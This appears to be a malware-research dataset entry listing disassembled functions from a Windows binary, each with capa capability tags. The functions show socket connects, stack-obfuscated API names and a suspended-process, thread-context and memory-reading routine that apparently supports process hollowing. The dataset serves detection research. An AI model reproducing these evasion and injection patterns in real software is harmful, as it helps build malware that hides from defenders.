joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10020480
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push 0xffffffffffffffff
push 0x10172f38
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x101c8fb4]
xor eax, esp
mov dword [esp + 0x2c], eax
push ebx
mov eax, dword [0x101c8fb4]
xor eax, esp
push eax
lea eax, [esp + 0x38]
mov dword fs:[0], eax
mov eax, dword [esp + 0x48]
push eax
lea eax, [esp + 0xc]
push eax
call fcn.100202f0
add esp, 8
xor ebx, ebx
mov dword [esp + 0x40], ebx
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi], eax
jne 0x100204f9
mov dword [esp + 0x40], eax
cmp dword [esp + 0x20], 0x10
jb 0x100204f2
mov ecx, dword [esp + 0xc]
push ecx
call fcn.10100548
add esp, 4
xor eax, eax
jmp 0x10020586
cmp dword [esp + 0x20], 0x10
mov eax, dword [esp + 0xc]
mov word [esp + 0x24], 2
jae 0x1002050f
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov edx, dword [esp + 0x4c]
push edx
mov dword [esp + 0x2c], eax
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, dword [esi]
mov word [esp + 0x26], ax
push 0x10
lea eax, [esp + 0x28]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10020565
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [esp + 0x40], 0xffffffff
cmp dword [esp + 0x20], 0x10
jb 0x100204f2
mov edx, dword [esp + 0xc]
push edx
call fcn.10100548
add esp, 4
xor eax, eax
jmp 0x10020586
mov dword [esp + 0x40], 0xffffffff
cmp dword [esp + 0x20], 0x10
jb 0x10020581
mov eax, dword [esp + 0xc]
push eax
call fcn.10100548
add esp, 4
mov eax, 1
mov dword [esp + 0x20], 0xf
mov dword [esp + 0x1c], ebx
mov byte [esp + 0xc], bl
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov ecx, dword [esp + 0x2c]
xor ecx, esp
call fcn.10111b17
add esp, 0x3c
ret
Function at 0x10021430
Capabilities:
Create thread

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x1c]
xor ebx, ebx
cmp ebp, ebx
jg 0x10021441
pop ebp
xor eax, eax
pop ebx
ret
push esi
push edi
mov edi, dword [esp + 0x14]
mov eax, dword [edi + 0x3270]
cmp eax, ebx
je 0x10021489
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x10021525
mov eax, dword [edi + 0x3270]
mov esi, dword [edi + 0x326c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
mov dword [edi + 0x3270], ebx
call fcn.1011163c
add esp, 4
mov dword [edi + 0x326c], ebx
push 0x510
call fcn.10111579
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x10021525
push 0x510
push ebx
push esi
call fcn.10112240
mov eax, dword [esp + 0x24]
mov edx, esi
add esp, 0xc
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
add eax, 1
cmp cl, bl
jne 0x100214b7
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x1c]
mov dword [esi + 0x104], ecx
mov dword [esi + 0x100], edx
mov dword [esi + 0x108], ebp
mov dword [edi + 0x326c], esi
call fcn.10040860
push ebx
push ebx
push esi
push 0x100205c0
push ebx
push ebx
mov ebp, eax
call fcn.101136ff
push ebp
mov dword [edi + 0x3270], eax
call fcn.10040900
add esp, 0x1c
cmp dword [edi + 0x3270], ebx
jne 0x1002152c
push esi
mov dword [edi + 0x3270], ebx
call fcn.1011163c
add esp, 4
mov dword [edi + 0x326c], ebx
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
Function at 0x100223d0
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x101c8fb4]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x218], 0
push 0x1ff
push 0
lea eax, [ebp - 0x217]
push eax
call fcn.10112240
add esp, 0xc
push 0x200
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov byte [ebp - 0x14], 0x25
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0x12], 0x5c
mov byte [ebp - 0x11], 0x44
mov byte [ebp - 0x10], 0x72
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x76
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x72
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x5c
mov byte [ebp - 9], 0x25
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.10112d57
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10111b17
mov esp, ebp
pop ebp
ret

Function at 0x10022990
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x101c8fb4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x102cdb48], 0
jne 0x10022a4f
mov byte [ebp - 0x28], 0x77
mov byte [ebp - 0x27], 0x69
mov byte [ebp - 0x26], 0x6e
mov byte [ebp - 0x25], 0x33
mov byte [ebp - 0x24], 0x32
mov byte [ebp - 0x23], 0x75
mov byte [ebp - 0x22], 0x2e
mov byte [ebp - 0x21], 0x64
mov byte [ebp - 0x20], 0x6c
mov byte [ebp - 0x1f], 0x6c
mov byte [ebp - 0x1e], 0
mov byte [ebp - 0x1c], 0x4e
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x55
mov byte [ebp - 0x19], 0x73
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x72
mov byte [ebp - 0x16], 0x4f
mov byte [ebp - 0x15], 0x70
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x13], 0x6e
mov byte [ebp - 0x12], 0x49
mov byte [ebp - 0x11], 0x6e
mov byte [ebp - 0x10], 0x70
mov byte [ebp - 0xf], 0x75
mov byte [ebp - 0xe], 0x74
mov byte [ebp - 0xd], 0x44
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x6b
mov byte [ebp - 9], 0x74
mov byte [ebp - 8], 0x6f
mov byte [ebp - 7], 0x70
mov byte [ebp - 6], 0
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x102cdb48], eax
cmp dword [0x102cdb48], 0
jne 0x10022a5c
xor eax, eax
jmp 0x10022a61
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10111b17
mov esp, ebp
pop ebp
ret
Function at 0x1002df50
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x101c8fb4]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x138], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x1002df81
jmp 0x1002dfdf
lea eax, [ebp - 0x138]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_Process32First
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1002dfc9
mov edx, dword [ebp + 8]
cmp edx, dword [ebp - 0x120]
jne 0x1002dfb4
mov eax, dword [ebp - 0x130]
push eax
call fcn.1002df50
add esp, 4
lea ecx, [ebp - 0x138]
push ecx
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_Process32Next
mov dword [ebp - 8], eax
jmp 0x1002df94
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 8]
push ecx
call fcn.10045f90
add esp, 4
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.10111b17
mov esp, ebp
pop ebp
ret
Function at 0x10034de0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x101c8fb4]
xor eax, ebp
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x4c], 0
mov byte [ebp - 0x44], 0x6e
mov byte [ebp - 0x43], 0x74
mov byte [ebp - 0x42], 0x64
mov byte [ebp - 0x41], 0x6c
mov byte [ebp - 0x40], 0x6c
mov byte [ebp - 0x3f], 0x2e
mov byte [ebp - 0x3e], 0x64
mov byte [ebp - 0x3d], 0x6c
mov byte [ebp - 0x3c], 0x6c
mov byte [ebp - 0x3b], 0
mov byte [ebp - 0x38], 0x4e
mov byte [ebp - 0x37], 0x74
mov byte [ebp - 0x36], 0x51
mov byte [ebp - 0x35], 0x75
mov byte [ebp - 0x34], 0x65
mov byte [ebp - 0x33], 0x72
mov byte [ebp - 0x32], 0x79
mov byte [ebp - 0x31], 0x49
mov byte [ebp - 0x30], 0x6e
mov byte [ebp - 0x2f], 0x66
mov byte [ebp - 0x2e], 0x6f
mov byte [ebp - 0x2d], 0x72
mov byte [ebp - 0x2c], 0x6d
mov byte [ebp - 0x2b], 0x61
mov byte [ebp - 0x2a], 0x74
mov byte [ebp - 0x29], 0x69
mov byte [ebp - 0x28], 0x6f
mov byte [ebp - 0x27], 0x6e
mov byte [ebp - 0x26], 0x50
mov byte [ebp - 0x25], 0x72
mov byte [ebp - 0x24], 0x6f
mov byte [ebp - 0x23], 0x63
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0x73
mov byte [ebp - 0x20], 0x73
mov byte [ebp - 0x1f], 0
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x44]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
je 0x10034ece
lea edx, [ebp - 0x50]
push edx
push 0x18
lea eax, [ebp - 0x18]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 0x48]
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
jl 0x10034ece
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.10111b17
mov esp, ebp
pop ebp
ret
Function at 0x100354b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x101c8fb4]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x64
mov byte [ebp - 0x15], 0x6c
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x2e
mov byte [ebp - 0x12], 0x64
mov byte [ebp - 0x11], 0x6c
mov byte [ebp - 0x10], 0x6c
mov byte [ebp - 0xf], 0
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x1003558d
mov byte [ebp - 0x34], 0x5a
mov byte [ebp - 0x33], 0x77
mov byte [ebp - 0x32], 0x55
mov byte [ebp - 0x31], 0x6e
mov byte [ebp - 0x30], 0x6d
mov byte [ebp - 0x2f], 0x61
mov byte [ebp - 0x2e], 0x70
mov byte [ebp - 0x2d], 0x56
mov byte [ebp - 0x2c], 0x69
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x77
mov byte [ebp - 0x29], 0x4f
mov byte [ebp - 0x28], 0x66
mov byte [ebp - 0x27], 0x53
mov byte [ebp - 0x26], 0x65
mov byte [ebp - 0x25], 0x63
mov byte [ebp - 0x24], 0x74
mov byte [ebp - 0x23], 0x69
mov byte [ebp - 0x22], 0x6f
mov byte [ebp - 0x21], 0x6e
mov byte [ebp - 0x20], 0
lea ecx, [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1003558d
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 4]
neg eax
sbb eax, eax
add eax, 1
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.10111b17
mov esp, ebp
pop ebp
ret
Function at 0x100355a0
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
push 0x44
push 0
lea eax, [ebp - 0x60]
push eax
call fcn.10112240
add esp, 0xc
xor ecx, ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x60], 0x44
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10035698
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp - 0x18]
mov dword [edx], eax
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp - 0x14]
mov dword [ecx], edx
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp - 0x10]
mov dword [eax], ecx
mov edx, dword [ebp + 0xc]
mov dword [edx], 0x10007
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 0x14]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea eax, [ebp - 4]
push eax
push 4
mov ecx, dword [ebp + 0x1c]
push ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 0xa4]
add eax, 8
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp + 0x1c]
mov ecx, dword [eax]
mov dword [ebp - 0x80], ecx
push 0x1c
lea edx, [ebp - 0x7c]
push edx
mov eax, dword [ebp - 0x80]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
test eax, eax
je 0x1003568b
mov dword [ebp - 0x6c], 0x10000
cmp dword [ebp - 0x6c], 0
je 0x10035680
jmp 0x1003568b
mov eax, dword [ebp - 0x80]
add eax, dword [ebp - 0x70]
mov dword [ebp - 0x80], eax
jmp 0x10035657
mov ecx, dword [ebp + 0x1c]
mov edx, dword [ebp - 0x80]
sub edx, dword [ecx]
mov eax, dword [ebp + 0x20]
mov dword [eax], edx
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x100427e0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x1a0
mov eax, dword [0x101c8fb4]
xor eax, esp
mov dword [esp + 0x19c], eax
cmp byte [0x102cdee8], 0
mov dword [esp + 4], edx
je 0x10042829
mov eax, 0x102cdee8
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
add eax, 1
test cl, cl
jne 0x10042808
mov ecx, dword [esp + 0x19c]
xor ecx, esp
call fcn.10111b17
add esp, 0x1a0
ret
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
mov dword [esp + 0x14], 0x400
mov dword [esp + 0x18], 0x170
mov dword [esp + 0x1c], 0x4e
mov dword [esp + 0x20], 0x60d1
mov dword [esp + 0x24], 0x26d9
mov dword [esp + 0x28], 0x15d01
mov dword [esp + 0x2c], 0x1f07
mov dword [esp + 0x30], 0x120c4
mov dword [esp + 0x34], 0x16aa2
mov dword [esp + 0x38], 0xe18e3
mov dword [esp + 0x3c], 0x39fb4
mov dword [esp + 0x40], 0xc1740
mov dword [esp + 0x44], 0x13583
mov dword [esp + 0x48], 0xea
mov dword [esp + 0x4c], 0x25fd
mov dword [esp + 0x50], 0xb12
mov dword [esp + 0x54], 0x37f
mov dword [esp + 0x58], 0x3ff
mov dword [esp + 0x5c], 0x24
mov dword [esp + 0x60], 7
mov dword [esp + 0x64], 0x9ae
mov dword [esp + 0x68], 0x3e2
mov dword [esp + 0x6c], 0x22e6
mov dword [esp + 0x70], 0x31a
mov dword [esp + 0x74], 0x1ce0
mov dword [esp + 0x78], 0x2443
mov dword [esp + 0x7c], 0x168e3
mov dword [esp + 0x80], 0x5cc5
mov dword [esp + 0x84], 0x13586
mov dword [esp + 0x88], 0x1ef3
mov dword [esp + 0x8c], 0x17
mov dword [esp + 0x90], 0x3cc
mov dword [esp + 0x94], 0x11b
mov dword [esp + 0x98], 0x59
mov dword [esp + 0xc], 0
mov bl, 0x5c
push edi
mov edi, dword [esp + 0x10]
xor esi, esi
add edi, 0x61
jmp 0x10042970
mov eax, dword [esp + esi*4 + 0x18]
push eax
push edi
lea ecx, [esp + 0xa8]
push ecx
lea edx, [esp + 0xb8]
push edx
mov byte [esp + 0xb0], bl
mov byte [esp + 0xb1], bl
mov byte [esp + 0xb2], 0x2e
mov byte [esp + 0xb3], bl
mov byte [esp + 0xb4], 0x25
mov byte [esp + 0xb5], 0x63
mov byte [esp + 0xb6], 0x25
mov byte [esp + 0xb7], 0x64
mov byte [esp + 0xb8], 0
call fcn.10112d57
add esp, 0x10
push 0
push 0x80
push 3
push 0
push 1
push 0xc0000000
lea eax, [esp + 0xc4]
push eax
call ebp
cmp eax, 0xffffffff
jne 0x10042a34
add esi, 1
cmp esi, 0x22
jb 0x10042970
mov eax, dword [esp + 0x10]
add eax, 1
cmp eax, 0x19
mov dword [esp + 0x10], eax
jl 0x10042962
mov ecx, dword [esp + 0x14]
mov byte [ecx], 0
mov ecx, dword [esp + 0x1ac]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10111b17
add esp, 0x1a0
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
lea ecx, [ecx]
mov cl, byte [esp + eax + 0xac]
mov byte [eax + 0x102cdee8], cl
add eax, 1
test cl, cl
jne 0x10042a40
mov edx, dword [esp + 0x14]
mov eax, 0x102cdee8
sub edx, eax
nop
mov cl, byte [eax]
mov byte [edx + eax], cl
add eax, 1
test cl, cl
jne 0x10042a60
jmp 0x10042a1b
Function at 0x10042ca0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x508
mov eax, dword [0x101c8fb4]
xor eax, esp
mov dword [esp + 0x504], eax
mov ecx, dword [esp + 0x50c]
mov eax, dword [ecx + 4]
cmp eax, 1
jne 0x10042cc9
mov byte [esp + 4], al
jmp 0x10042d0d
cmp eax, 2
jne 0x10042cd4
mov byte [esp + 4], al
jmp 0x10042d0d
cmp eax, 3
jne 0x10042cdf
mov byte [esp + 4], al
jmp 0x10042d0d
cmp eax, 5
jne 0x10042cea
mov byte [esp + 4], al
jmp 0x10042d0d
cmp eax, 6
jne 0x10042cf5
mov byte [esp + 4], al
jmp 0x10042d0d
cmp eax, 7
jne 0x10042d00
mov byte [esp + 4], al
jmp 0x10042d0d
cmp eax, 8
jne 0x10042dc0
mov byte [esp + 4], al
push esi
push edi
mov edi, dword [esp + 0x518]
lea eax, [edi - 8]
push eax
add ecx, 8
push ecx
lea ecx, [esp + 0x15]
push ecx
call fcn.101132a0
add esp, 0xc
lea edx, [esp + 0x40c]
call fcn.100427e0
push 0
push 0x80
push 3
push 0
push 1
push 0xc0000000
lea edx, [esp + 0x424]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10042da7
push 0
lea eax, [esp + 0xc]
push eax
add edi, 0xfffffff9
push edi
lea ecx, [esp + 0x18]
push ecx
push esi
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 8], 0
jne 0x10042da7
pop edi
mov eax, 1
pop esi
mov ecx, dword [esp + 0x504]
xor ecx, esp
call fcn.10111b17
add esp, 0x508
ret
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x504]
xor ecx, esp
call fcn.10111b17
add esp, 0x508
ret
mov ecx, dword [esp + 0x504]
xor ecx, esp
xor eax, eax
call fcn.10111b17
add esp, 0x508
ret
Function at 0x100432c0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x108
mov eax, dword [0x101c8fb4]
xor eax, esp
mov dword [esp + 0x104], eax
mov eax, dword [esp + 0x10c]
cmp dword [eax], 2
mov edx, dword [esp + 0x114]
mov ecx, dword [eax + 4]
jne 0x100433e7
cmp ecx, 2
jne 0x10043335
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x10]
cmp dword [eax + 0x24], 0
mov dword [esp + 5], ecx
mov ecx, dword [eax + 0x14]
mov dword [esp + 9], edx
mov edx, dword [eax + 8]
mov eax, dword [eax + 0x18]
mov dword [esp + 0x15], eax
mov dword [esp + 0xd], ecx
mov dword [esp + 0x11], edx
mov eax, 0x15
jne 0x1004332b
mov byte [esp + 4], 0x14
jmp 0x10043435
mov byte [esp + 4], 0x1e
jmp 0x10043435
cmp ecx, 3
jne 0x100433a8
cmp dword [eax + 0x24], 0
mov ecx, dword [eax + 0x18]
mov dword [esp + 5], ecx
je 0x1004337d
mov ecx, dword [eax + 8]
mov dword [esp + 9], ecx
mov ecx, dword [eax + 0xc]
mov dword [esp + 0xd], ecx
mov ecx, dword [eax + 0x10]
mov dword [esp + 0x11], ecx
mov ecx, dword [eax + 0x20]
mov eax, dword [eax + 0x1c]
mov dword [esp + 0x19], eax
mov byte [esp + 4], 4
mov dword [esp + 0x15], ecx
mov dword [esp + 0x1d], edx
mov eax, 0x1d
jmp 0x10043435
mov edx, dword [eax + 8]
mov ecx, dword [eax + 0xc]
mov dword [esp + 9], edx
mov edx, dword [eax + 0x10]
mov eax, dword [eax + 0x20]
mov dword [esp + 0x15], eax
mov byte [esp + 4], 5
mov dword [esp + 0xd], ecx
mov dword [esp + 0x11], edx
mov eax, 0x15
jmp 0x10043435
cmp ecx, 4
jne 0x10043480
mov ecx, dword [eax + 0x18]
mov edx, dword [eax + 8]
mov dword [esp + 5], ecx
mov ecx, dword [eax + 0xc]
mov dword [esp + 9], edx
mov edx, dword [eax + 0x10]
mov dword [esp + 0xd], ecx
mov ecx, dword [eax + 0x1c]
mov dword [esp + 0x11], edx
mov edx, dword [eax + 0x20]
mov byte [esp + 4], 7
mov dword [esp + 0x15], ecx
mov dword [esp + 0x19], edx
mov eax, 0x19
jmp 0x10043435
cmp ecx, 1
jne 0x100433f2
mov byte [esp + 4], cl
jmp 0x10043414
cmp ecx, 0x14
jne 0x100433fe
mov byte [esp + 4], 2
jmp 0x10043414
cmp ecx, 0x1e
jne 0x1004340a
mov byte [esp + 4], 3
jmp 0x10043414
cmp ecx, 5
jne 0x10043480
mov byte [esp + 4], 6
push esi
mov esi, dword [esp + 0x114]
lea ecx, [esi - 8]
push ecx
add eax, 8
push eax
lea edx, [esp + 0x11]
push edx
call fcn.101132a0
add esp, 0xc
lea eax, [esi - 7]
pop esi
mov ecx, dword [0x102cdfe8]
test ecx, ecx
je 0x10043480
cmp ecx, 0xffffffff
je 0x10043480
push 0
lea edx, [esp + 4]
push edx
push eax
lea eax, [esp + 0x10]
push eax
push ecx
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [esp], 0
jne 0x10043480
mov eax, 1
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.10111b17
add esp, 0x108
ret
mov ecx, dword [esp + 0x104]
xor ecx, esp
xor eax, eax
call fcn.10111b17
add esp, 0x108
ret
Function at 0x100435a0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x100435b9
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x100435f4
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x100435f0
lea ebx, [ebx]
cmp esi, eax
jae 0x100435f4
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x100435e0
cmp esi, eax
jb 0x100435fa
pop esi
pop edi
xor eax, eax
pop ebx
ret
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x10043e80
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x101739f1
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push ebx
push esi
mov eax, dword [0x101c8fb4]
xor eax, esp
push eax
lea eax, [esp + 0x2c]
mov dword fs:[0], eax
mov eax, dword [esp + 0x40]
xor ebx, ebx
push 0xffffffffffffffff
mov dword [esp + 0x10], ebx
push ebx
push eax
lea ecx, [esp + 0x1c]
mov dword [esp + 0x34], 0xf
mov dword [esp + 0x30], ebx
mov byte [esp + 0x20], bl
call fcn.10003e70
mov dword [esp + 0x34], 1
mov ecx, dword [esp + 0x44]
push 0xffffffffffffffff
push ebx
push ecx
lea ecx, [esp + 0x1c]
call fcn.10003cc0
mov esi, dword [esp + 0x3c]
push 0xffffffffffffffff
push ebx
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebx
push eax
mov ecx, esi
mov byte [esi + 4], bl
call fcn.10003e70
mov dword [esp + 0xc], 1
mov byte [esp + 0x34], bl
cmp dword [esp + 0x28], 0x10
jb 0x10043f21
mov edx, dword [esp + 0x14]
push edx
call fcn.10100548
add esp, 4
mov dword [esp + 0x28], 0xf
mov dword [esp + 0x24], ebx
mov byte [esp + 0x14], bl
mov eax, esi
mov ecx, dword [esp + 0x2c]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
add esp, 0x2c
ret

Function at 0x10045330
Capabilities:
Enumerate process modules

Disassembly:
sub esp, 0x228
mov eax, dword [0x101c8fb4]
xor eax, esp
mov dword [esp + 0x224], eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
jne 0x10045372
xor eax, eax
pop esi
mov ecx, dword [esp + 0x224]
xor ecx, esp
call fcn.10111b17
add esp, 0x228
ret
push edi
push 0x224
xor edi, edi
lea eax, [esp + 0xc]
push edi
push eax
call fcn.10112240
add esp, 0xc
lea ecx, [esp + 8]
push ecx
push esi
mov dword [esp + 0x10], 0x224
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x100453c3
push ebx
mov ebx, dword [esp + 0x238]
cmp ebx, dword [esp + 0x28]
je 0x100453be
lea edx, [esp + 0xc]
push edx
push esi
call sub.KERNEL32.dll_Module32Next
test eax, eax
jne 0x100453a7
jmp 0x100453c2
mov edi, dword [esp + 0x24]
pop ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x22c]
mov eax, edi
pop edi
pop esi
xor ecx, esp
call fcn.10111b17
add esp, 0x228
ret